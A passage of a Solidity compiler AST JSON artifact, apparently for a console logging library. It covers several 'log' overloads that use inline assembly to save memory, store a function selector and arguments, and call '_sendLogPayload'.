nctionCall","src":"190267:16:22"},"nativeSrc":"190267:16:22","nodeType":"YulExpressionStatement","src":"190267:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40006,"isOffset":false,"isSlot":false,"src":"189929:2:22","valueSize":1},{"declaration":40009,"isOffset":false,"isSlot":false,"src":"189959:2:22","valueSize":1},{"declaration":40012,"isOffset":false,"isSlot":false,"src":"189989:2:22","valueSize":1},{"declaration":40015,"isOffset":false,"isSlot":false,"src":"190019:2:22","valueSize":1},{"declaration":40018,"isOffset":false,"isSlot":false,"src":"190049:2:22","valueSize":1},{"declaration":39996,"isOffset":false,"isSlot":false,"src":"190193:2:22","valueSize":1},{"declaration":39998,"isOffset":false,"isSlot":false,"src":"190222:2:22","valueSize":1},{"declaration":40000,"isOffset":false,"isSlot":false,"src":"190251:2:22","valueSize":1},{"declaration":40002,"isOffset":false,"isSlot":false,"src":"190280:2:22","valueSize":1}],"id":40020,"nodeType":"InlineAssembly","src":"189906:387:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":40022,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"190318:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":40023,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"190324:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":40021,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"190302:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":40024,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"190302:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":40025,"nodeType":"ExpressionStatement","src":"190302:27:22"},{"AST":{"nativeSrc":"190348:156:22","nodeType":"YulBlock","src":"190348:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"190369:4:22","nodeType":"YulLiteral","src":"190369:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"190375:2:22","nodeType":"YulIdentifier","src":"190375:2:22"}],"functionName":{"name":"mstore","nativeSrc":"190362:6:22","nodeType":"YulIdentifier","src":"190362:6:22"},"nativeSrc":"190362:16:22","nodeType":"YulFunctionCall","src":"190362:16:22"},"nativeSrc":"190362:16:22","nodeType":"YulExpressionStatement","src":"190362:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"190398:4:22","nodeType":"YulLiteral","src":"190398:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"190404:2:22","nodeType":"YulIdentifier","src":"190404:2:22"}],"functionName":{"name":"mstore","nativeSrc":"190391:6:22","nodeType":"YulIdentifier","src":"190391:6:22"},"nativeSrc":"190391:16:22","nodeType":"YulFunctionCall","src":"190391:16:22"},"nativeSrc":"190391:16:22","nodeType":"YulExpressionStatement","src":"190391:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"190427:4:22","nodeType":"YulLiteral","src":"190427:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"190433:2:22","nodeType":"YulIdentifier","src":"190433:2:22"}],"functionName":{"name":"mstore","nativeSrc":"190420:6:22","nodeType":"YulIdentifier","src":"190420:6:22"},"nativeSrc":"190420:16:22","nodeType":"YulFunctionCall","src":"190420:16:22"},"nativeSrc":"190420:16:22","nodeType":"YulExpressionStatement","src":"190420:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"190456:4:22","nodeType":"YulLiteral","src":"190456:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"190462:2:22","nodeType":"YulIdentifier","src":"190462:2:22"}],"functionName":{"name":"mstore","nativeSrc":"190449:6:22","nodeType":"YulIdentifier","src":"190449:6:22"},"nativeSrc":"190449:16:22","nodeType":"YulFunctionCall","src":"190449:16:22"},"nativeSrc":"190449:16:22","nodeType":"YulExpressionStatement","src":"190449:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"190485:4:22","nodeType":"YulLiteral","src":"190485:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"190491:2:22","nodeType":"YulIdentifier","src":"190491:2:22"}],"functionName":{"name":"mstore","nativeSrc":"190478:6:22","nodeType":"YulIdentifier","src":"190478:6:22"},"nativeSrc":"190478:16:22","nodeType":"YulFunctionCall","src":"190478:16:22"},"nativeSrc":"190478:16:22","nodeType":"YulExpressionStatement","src":"190478:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40006,"isOffset":false,"isSlot":false,"src":"190375:2:22","valueSize":1},{"declaration":40009,"isOffset":false,"isSlot":false,"src":"190404:2:22","valueSize":1},{"declaration":40012,"isOffset":false,"isSlot":false,"src":"190433:2:22","valueSize":1},{"declaration":40015,"isOffset":false,"isSlot":false,"src":"190462:2:22","valueSize":1},{"declaration":40018,"isOffset":false,"isSlot":false,"src":"190491:2:22","valueSize":1}],"id":40026,"nodeType":"InlineAssembly","src":"190339:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"189733:3:22","parameters":{"id":40003,"nodeType":"ParameterList","parameters":[{"constant":false,"id":39996,"mutability":"mutable","name":"p0","nameLocation":"189742:2:22","nodeType":"VariableDeclaration","scope":40028,"src":"189737:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39995,"name":"bool","nodeType":"ElementaryTypeName","src":"189737:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39998,"mutability":"mutable","name":"p1","nameLocation":"189754:2:22","nodeType":"VariableDeclaration","scope":40028,"src":"189746:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":39997,"name":"uint256","nodeType":"ElementaryTypeName","src":"189746:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":40000,"mutability":"mutable","name":"p2","nameLocation":"189766:2:22","nodeType":"VariableDeclaration","scope":40028,"src":"189758:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":39999,"name":"address","nodeType":"ElementaryTypeName","src":"189758:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":40002,"mutability":"mutable","name":"p3","nameLocation":"189778:2:22","nodeType":"VariableDeclaration","scope":40028,"src":"189770:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":40001,"name":"address","nodeType":"ElementaryTypeName","src":"189770:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"189736:45:22"},"returnParameters":{"id":40004,"nodeType":"ParameterList","parameters":[],"src":"189796:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":40062,"nodeType":"FunctionDefinition","src":"190516:780:22","nodes":[],"body":{"id":40061,"nodeType":"Block","src":"190585:711:22","nodes":[],"statements":[{"assignments":[40040],"declarations":[{"constant":false,"id":40040,"mutability":"mutable","name":"m0","nameLocation":"190603:2:22","nodeType":"VariableDeclaration","scope":40061,"src":"190595:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40039,"name":"bytes32","nodeType":"ElementaryTypeName","src":"190595:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40041,"nodeType":"VariableDeclarationStatement","src":"190595:10:22"},{"assignments":[40043],"declarations":[{"constant":false,"id":40043,"mutability":"mutable","name":"m1","nameLocation":"190623:2:22","nodeType":"VariableDeclaration","scope":40061,"src":"190615:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40042,"name":"bytes32","nodeType":"ElementaryTypeName","src":"190615:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40044,"nodeType":"VariableDeclarationStatement","src":"190615:10:22"},{"assignments":[40046],"declarations":[{"constant":false,"id":40046,"mutability":"mutable","name":"m2","nameLocation":"190643:2:22","nodeType":"VariableDeclaration","scope":40061,"src":"190635:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40045,"name":"bytes32","nodeType":"ElementaryTypeName","src":"190635:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40047,"nodeType":"VariableDeclarationStatement","src":"190635:10:22"},{"assignments":[40049],"declarations":[{"constant":false,"id":40049,"mutability":"mutable","name":"m3","nameLocation":"190663:2:22","nodeType":"VariableDeclaration","scope":40061,"src":"190655:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40048,"name":"bytes32","nodeType":"ElementaryTypeName","src":"190655:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40050,"nodeType":"VariableDeclarationStatement","src":"190655:10:22"},{"assignments":[40052],"declarations":[{"constant":false,"id":40052,"mutability":"mutable","name":"m4","nameLocation":"190683:2:22","nodeType":"VariableDeclaration","scope":40061,"src":"190675:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40051,"name":"bytes32","nodeType":"ElementaryTypeName","src":"190675:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40053,"nodeType":"VariableDeclarationStatement","src":"190675:10:22"},{"AST":{"nativeSrc":"190704:375:22","nodeType":"YulBlock","src":"190704:375:22","statements":[{"nativeSrc":"190718:17:22","nodeType":"YulAssignment","src":"190718:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"190730:4:22","nodeType":"YulLiteral","src":"190730:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"190724:5:22","nodeType":"YulIdentifier","src":"190724:5:22"},"nativeSrc":"190724:11:22","nodeType":"YulFunctionCall","src":"190724:11:22"},"variableNames":[{"name":"m0","nativeSrc":"190718:2:22","nodeType":"YulIdentifier","src":"190718:2:22"}]},{"nativeSrc":"190748:17:22","nodeType":"YulAssignment","src":"190748:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"190760:4:22","nodeType":"YulLiteral","src":"190760:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"190754:5:22","nodeType":"YulIdentifier","src":"190754:5:22"},"nativeSrc":"190754:11:22","nodeType":"YulFunctionCall","src":"190754:11:22"},"variableNames":[{"name":"m1","nativeSrc":"190748:2:22","nodeType":"YulIdentifier","src":"190748:2:22"}]},{"nativeSrc":"190778:17:22","nodeType":"YulAssignment","src":"190778:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"190790:4:22","nodeType":"YulLiteral","src":"190790:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"190784:5:22","nodeType":"YulIdentifier","src":"190784:5:22"},"nativeSrc":"190784:11:22","nodeType":"YulFunctionCall","src":"190784:11:22"},"variableNames":[{"name":"m2","nativeSrc":"190778:2:22","nodeType":"YulIdentifier","src":"190778:2:22"}]},{"nativeSrc":"190808:17:22","nodeType":"YulAssignment","src":"190808:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"190820:4:22","nodeType":"YulLiteral","src":"190820:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"190814:5:22","nodeType":"YulIdentifier","src":"190814:5:22"},"nativeSrc":"190814:11:22","nodeType":"YulFunctionCall","src":"190814:11:22"},"variableNames":[{"name":"m3","nativeSrc":"190808:2:22","nodeType":"YulIdentifier","src":"190808:2:22"}]},{"nativeSrc":"190838:17:22","nodeType":"YulAssignment","src":"190838:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"190850:4:22","nodeType":"YulLiteral","src":"190850:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"190844:5:22","nodeType":"YulIdentifier","src":"190844:5:22"},"nativeSrc":"190844:11:22","nodeType":"YulFunctionCall","src":"190844:11:22"},"variableNames":[{"name":"m4","nativeSrc":"190838:2:22","nodeType":"YulIdentifier","src":"190838:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"190936:4:22","nodeType":"YulLiteral","src":"190936:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"190942:10:22","nodeType":"YulLiteral","src":"190942:10:22","type":"","value":"0xb4c314ff"}],"functionName":{"name":"mstore","nativeSrc":"190929:6:22","nodeType":"YulIdentifier","src":"190929:6:22"},"nativeSrc":"190929:24:22","nodeType":"YulFunctionCall","src":"190929:24:22"},"nativeSrc":"190929:24:22","nodeType":"YulExpressionStatement","src":"190929:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"190973:4:22","nodeType":"YulLiteral","src":"190973:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"190979:2:22","nodeType":"YulIdentifier","src":"190979:2:22"}],"functionName":{"name":"mstore","nativeSrc":"190966:6:22","nodeType":"YulIdentifier","src":"190966:6:22"},"nativeSrc":"190966:16:22","nodeType":"YulFunctionCall","src":"190966:16:22"},"nativeSrc":"190966:16:22","nodeType":"YulExpressionStatement","src":"190966:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"191002:4:22","nodeType":"YulLiteral","src":"191002:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"191008:2:22","nodeType":"YulIdentifier","src":"191008:2:22"}],"functionName":{"name":"mstore","nativeSrc":"190995:6:22","nodeType":"YulIdentifier","src":"190995:6:22"},"nativeSrc":"190995:16:22","nodeType":"YulFunctionCall","src":"190995:16:22"},"nativeSrc":"190995:16:22","nodeType":"YulExpressionStatement","src":"190995:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"191031:4:22","nodeType":"YulLiteral","src":"191031:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"191037:2:22","nodeType":"YulIdentifier","src":"191037:2:22"}],"functionName":{"name":"mstore","nativeSrc":"191024:6:22","nodeType":"YulIdentifier","src":"191024:6:22"},"nativeSrc":"191024:16:22","nodeType":"YulFunctionCall","src":"191024:16:22"},"nativeSrc":"191024:16:22","nodeType":"YulExpressionStatement","src":"191024:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"191060:4:22","nodeType":"YulLiteral","src":"191060:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"191066:2:22","nodeType":"YulIdentifier","src":"191066:2:22"}],"functionName":{"name":"mstore","nativeSrc":"191053:6:22","nodeType":"YulIdentifier","src":"191053:6:22"},"nativeSrc":"191053:16:22","nodeType":"YulFunctionCall","src":"191053:16:22"},"nativeSrc":"191053:16:22","nodeType":"YulExpressionStatement","src":"191053:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40040,"isOffset":false,"isSlot":false,"src":"190718:2:22","valueSize":1},{"declaration":40043,"isOffset":false,"isSlot":false,"src":"190748:2:22","valueSize":1},{"declaration":40046,"isOffset":false,"isSlot":false,"src":"190778:2:22","valueSize":1},{"declaration":40049,"isOffset":false,"isSlot":false,"src":"190808:2:22","valueSize":1},{"declaration":40052,"isOffset":false,"isSlot":false,"src":"190838:2:22","valueSize":1},{"declaration":40030,"isOffset":false,"isSlot":false,"src":"190979:2:22","valueSize":1},{"declaration":40032,"isOffset":false,"isSlot":false,"src":"191008:2:22","valueSize":1},{"declaration":40034,"isOffset":false,"isSlot":false,"src":"191037:2:22","valueSize":1},{"declaration":40036,"isOffset":false,"isSlot":false,"src":"191066:2:22","valueSize":1}],"id":40054,"nodeType":"InlineAssembly","src":"190695:384:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":40056,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"191104:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":40057,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"191110:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":40055,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"191088:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":40058,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"191088:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":40059,"nodeType":"ExpressionStatement","src":"191088:27:22"},{"AST":{"nativeSrc":"191134:156:22","nodeType":"YulBlock","src":"191134:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"191155:4:22","nodeType":"YulLiteral","src":"191155:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"191161:2:22","nodeType":"YulIdentifier","src":"191161:2:22"}],"functionName":{"name":"mstore","nativeSrc":"191148:6:22","nodeType":"YulIdentifier","src":"191148:6:22"},"nativeSrc":"191148:16:22","nodeType":"YulFunctionCall","src":"191148:16:22"},"nativeSrc":"191148:16:22","nodeType":"YulExpressionStatement","src":"191148:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"191184:4:22","nodeType":"YulLiteral","src":"191184:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"191190:2:22","nodeType":"YulIdentifier","src":"191190:2:22"}],"functionName":{"name":"mstore","nativeSrc":"191177:6:22","nodeType":"YulIdentifier","src":"191177:6:22"},"nativeSrc":"191177:16:22","nodeType":"YulFunctionCall","src":"191177:16:22"},"nativeSrc":"191177:16:22","nodeType":"YulExpressionStatement","src":"191177:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"191213:4:22","nodeType":"YulLiteral","src":"191213:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"191219:2:22","nodeType":"YulIdentifier","src":"191219:2:22"}],"functionName":{"name":"mstore","nativeSrc":"191206:6:22","nodeType":"YulIdentifier","src":"191206:6:22"},"nativeSrc":"191206:16:22","nodeType":"YulFunctionCall","src":"191206:16:22"},"nativeSrc":"191206:16:22","nodeType":"YulExpressionStatement","src":"191206:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"191242:4:22","nodeType":"YulLiteral","src":"191242:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"191248:2:22","nodeType":"YulIdentifier","src":"191248:2:22"}],"functionName":{"name":"mstore","nativeSrc":"191235:6:22","nodeType":"YulIdentifier","src":"191235:6:22"},"nativeSrc":"191235:16:22","nodeType":"YulFunctionCall","src":"191235:16:22"},"nativeSrc":"191235:16:22","nodeType":"YulExpressionStatement","src":"191235:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"191271:4:22","nodeType":"YulLiteral","src":"191271:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"191277:2:22","nodeType":"YulIdentifier","src":"191277:2:22"}],"functionName":{"name":"mstore","nativeSrc":"191264:6:22","nodeType":"YulIdentifier","src":"191264:6:22"},"nativeSrc":"191264:16:22","nodeType":"YulFunctionCall","src":"191264:16:22"},"nativeSrc":"191264:16:22","nodeType":"YulExpressionStatement","src":"191264:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40040,"isOffset":false,"isSlot":false,"src":"191161:2:22","valueSize":1},{"declaration":40043,"isOffset":false,"isSlot":false,"src":"191190:2:22","valueSize":1},{"declaration":40046,"isOffset":false,"isSlot":false,"src":"191219:2:22","valueSize":1},{"declaration":40049,"isOffset":false,"isSlot":false,"src":"191248:2:22","valueSize":1},{"declaration":40052,"isOffset":false,"isSlot":false,"src":"191277:2:22","valueSize":1}],"id":40060,"nodeType":"InlineAssembly","src":"191125:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"190525:3:22","parameters":{"id":40037,"nodeType":"ParameterList","parameters":[{"constant":false,"id":40030,"mutability":"mutable","name":"p0","nameLocation":"190534:2:22","nodeType":"VariableDeclaration","scope":40062,"src":"190529:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40029,"name":"bool","nodeType":"ElementaryTypeName","src":"190529:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":40032,"mutability":"mutable","name":"p1","nameLocation":"190546:2:22","nodeType":"VariableDeclaration","scope":40062,"src":"190538:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":40031,"name":"uint256","nodeType":"ElementaryTypeName","src":"190538:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":40034,"mutability":"mutable","name":"p2","nameLocation":"190558:2:22","nodeType":"VariableDeclaration","scope":40062,"src":"190550:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":40033,"name":"address","nodeType":"ElementaryTypeName","src":"190550:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":40036,"mutability":"mutable","name":"p3","nameLocation":"190567:2:22","nodeType":"VariableDeclaration","scope":40062,"src":"190562:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40035,"name":"bool","nodeType":"ElementaryTypeName","src":"190562:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"190528:42:22"},"returnParameters":{"id":40038,"nodeType":"ParameterList","parameters":[],"src":"190585:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":40096,"nodeType":"FunctionDefinition","src":"191302:786:22","nodes":[],"body":{"id":40095,"nodeType":"Block","src":"191374:714:22","nodes":[],"statements":[{"assignments":[40074],"declarations":[{"constant":false,"id":40074,"mutability":"mutable","name":"m0","nameLocation":"191392:2:22","nodeType":"VariableDeclaration","scope":40095,"src":"191384:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40073,"name":"bytes32","nodeType":"ElementaryTypeName","src":"191384:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40075,"nodeType":"VariableDeclarationStatement","src":"191384:10:22"},{"assignments":[40077],"declarations":[{"constant":false,"id":40077,"mutability":"mutable","name":"m1","nameLocation":"191412:2:22","nodeType":"VariableDeclaration","scope":40095,"src":"191404:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40076,"name":"bytes32","nodeType":"ElementaryTypeName","src":"191404:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40078,"nodeType":"VariableDeclarationStatement","src":"191404:10:22"},{"assignments":[40080],"declarations":[{"constant":false,"id":40080,"mutability":"mutable","name":"m2","nameLocation":"191432:2:22","nodeType":"VariableDeclaration","scope":40095,"src":"191424:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40079,"name":"bytes32","nodeType":"ElementaryTypeName","src":"191424:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40081,"nodeType":"VariableDeclarationStatement","src":"191424:10:22"},{"assignments":[40083],"declarations":[{"constant":false,"id":40083,"mutability":"mutable","name":"m3","nameLocation":"191452:2:22","nodeType":"VariableDeclaration","scope":40095,"src":"191444:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40082,"name":"bytes32","nodeType":"ElementaryTypeName","src":"191444:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40084,"nodeType":"VariableDeclarationStatement","src":"191444:10:22"},{"assignments":[40086],"declarations":[{"constant":false,"id":40086,"mutability":"mutable","name":"m4","nameLocation":"191472:2:22","nodeType":"VariableDeclaration","scope":40095,"src":"191464:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40085,"name":"bytes32","nodeType":"ElementaryTypeName","src":"191464:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40087,"nodeType":"VariableDeclarationStatement","src":"191464:10:22"},{"AST":{"nativeSrc":"191493:378:22","nodeType":"YulBlock","src":"191493:378:22","statements":[{"nativeSrc":"191507:17:22","nodeType":"YulAssignment","src":"191507:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"191519:4:22","nodeType":"YulLiteral","src":"191519:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"191513:5:22","nodeType":"YulIdentifier","src":"191513:5:22"},"nativeSrc":"191513:11:22","nodeType":"YulFunctionCall","src":"191513:11:22"},"variableNames":[{"name":"m0","nativeSrc":"191507:2:22","nodeType":"YulIdentifier","src":"191507:2:22"}]},{"nativeSrc":"191537:17:22","nodeType":"YulAssignment","src":"191537:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"191549:4:22","nodeType":"YulLiteral","src":"191549:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"191543:5:22","nodeType":"YulIdentifier","src":"191543:5:22"},"nativeSrc":"191543:11:22","nodeType":"YulFunctionCall","src":"191543:11:22"},"variableNames":[{"name":"m1","nativeSrc":"191537:2:22","nodeType":"YulIdentifier","src":"191537:2:22"}]},{"nativeSrc":"191567:17:22","nodeType":"YulAssignment","src":"191567:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"191579:4:22","nodeType":"YulLiteral","src":"191579:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"191573:5:22","nodeType":"YulIdentifier","src":"191573:5:22"},"nativeSrc":"191573:11:22","nodeType":"YulFunctionCall","src":"191573:11:22"},"variableNames":[{"name":"m2","nativeSrc":"191567:2:22","nodeType":"YulIdentifier","src":"191567:2:22"}]},{"nativeSrc":"191597:17:22","nodeType":"YulAssignment","src":"191597:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"191609:4:22","nodeType":"YulLiteral","src":"191609:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"191603:5:22","nodeType":"YulIdentifier","src":"191603:5:22"},"nativeSrc":"191603:11:22","nodeType":"YulFunctionCall","src":"191603:11:22"},"variableNames":[{"name":"m3","nativeSrc":"191597:2:22","nodeType":"YulIdentifier","src":"191597:2:22"}]},{"nativeSrc":"191627:17:22","nodeType":"YulAssignment","src":"191627:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"191639:4:22","nodeType":"YulLiteral","src":"191639:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"191633:5:22","nodeType":"YulIdentifier","src":"191633:5:22"},"nativeSrc":"191633:11:22","nodeType":"YulFunctionCall","src":"191633:11:22"},"variableNames":[{"name":"m4","nativeSrc":"191627:2:22","nodeType":"YulIdentifier","src":"191627:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"191728:4:22","nodeType":"YulLiteral","src":"191728:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"191734:10:22","nodeType":"YulLiteral","src":"191734:10:22","type":"","value":"0x1537dc87"}],"functionName":{"name":"mstore","nativeSrc":"191721:6:22","nodeType":"YulIdentifier","src":"191721:6:22"},"nativeSrc":"191721:24:22","nodeType":"YulFunctionCall","src":"191721:24:22"},"nativeSrc":"191721:24:22","nodeType":"YulExpressionStatement","src":"191721:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"191765:4:22","nodeType":"YulLiteral","src":"191765:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"191771:2:22","nodeType":"YulIdentifier","src":"191771:2:22"}],"functionName":{"name":"mstore","nativeSrc":"191758:6:22","nodeType":"YulIdentifier","src":"191758:6:22"},"nativeSrc":"191758:16:22","nodeType":"YulFunctionCall","src":"191758:16:22"},"nativeSrc":"191758:16:22",